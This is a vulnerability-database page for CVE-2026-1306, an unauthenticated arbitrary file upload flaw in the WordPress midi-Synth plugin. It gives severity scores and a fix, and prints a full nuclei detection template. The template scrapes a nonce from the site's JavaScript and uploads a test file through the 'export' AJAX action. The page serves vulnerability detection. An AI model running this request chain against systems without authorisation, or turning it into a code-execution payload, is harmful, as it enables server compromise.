HexBrain

Browse / CVEs / CVE-2026-1306

CVE-2026-1306· wordpress / midi-synth· CWE-434

WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload

criticalseverity
9.8CVSS score
4.8%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.

Impact

Unauthenticated attackers can upload arbitrary files and potentially execute remote code on the server.

Fix

Update to the latest version of midi-Synth plugin.

How to confirm it

Send: GET / ; POST /wp-admin/admin-ajax.php ; GET /wp-content/plugins/midi-synth/sound/{{randstr}}.txt
Positive when: status_code_3 == 200 and contains(body_3, "{{randstr}}")

Run it with nuclei: nuclei -id CVE-2026-1306 -u <target>

The full check
id: CVE-2026-1306

info:
  name: WordPress midi-Synth <= 1.1.0 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    WordPress midi-Synth plugin \u003C= 1.1.0 contains an unrestricted file upload vulnerability caused by missing file type and extension validation in the 'export' AJAX action, letting unauthenticated attackers upload arbitrary files and potentially execute remote code, exploit requires attacker to obtain a valid nonce exposed in frontend JavaScript.
  impact: |
    Unauthenticated attackers can upload arbitrary files and potentially execute remote code on the server.
  remediation: |
    Update to the latest version of midi-Synth plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/midi-synth/midi-synth-110-unauthenticated-arbitrary-file-upload-via-export-ajax-action
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-1306
    epss-score: 0.04756
    epss-percentile: 0.91963
    cwe-id: CWE-434
  metadata:
    verified: true
    max-request: 3
    vendor: wordpress
    product: midi-synth
    framework: wordpress
  tags: cve,cve2026,wordpress,wp-plugin,midi-synth,file-upload,rce,intrusive

variables:
  randstr: "{{rand_base_string(8)}}"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Origin: {{BaseURL}}
        Referer: {{BaseURL}}/

        action=export&nonce={{nonce}}&fileName={{randstr}}.txt&fileMidi={{base64("{{randstr}}")}}

      - |
        GET /wp-content/plugins/midi-synth/sound/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        regex:
          - 'var midiSynth_nonce     = "([a-z0-9]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - status_code_3 == 200
          - contains(body_3, "{{randstr}}")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from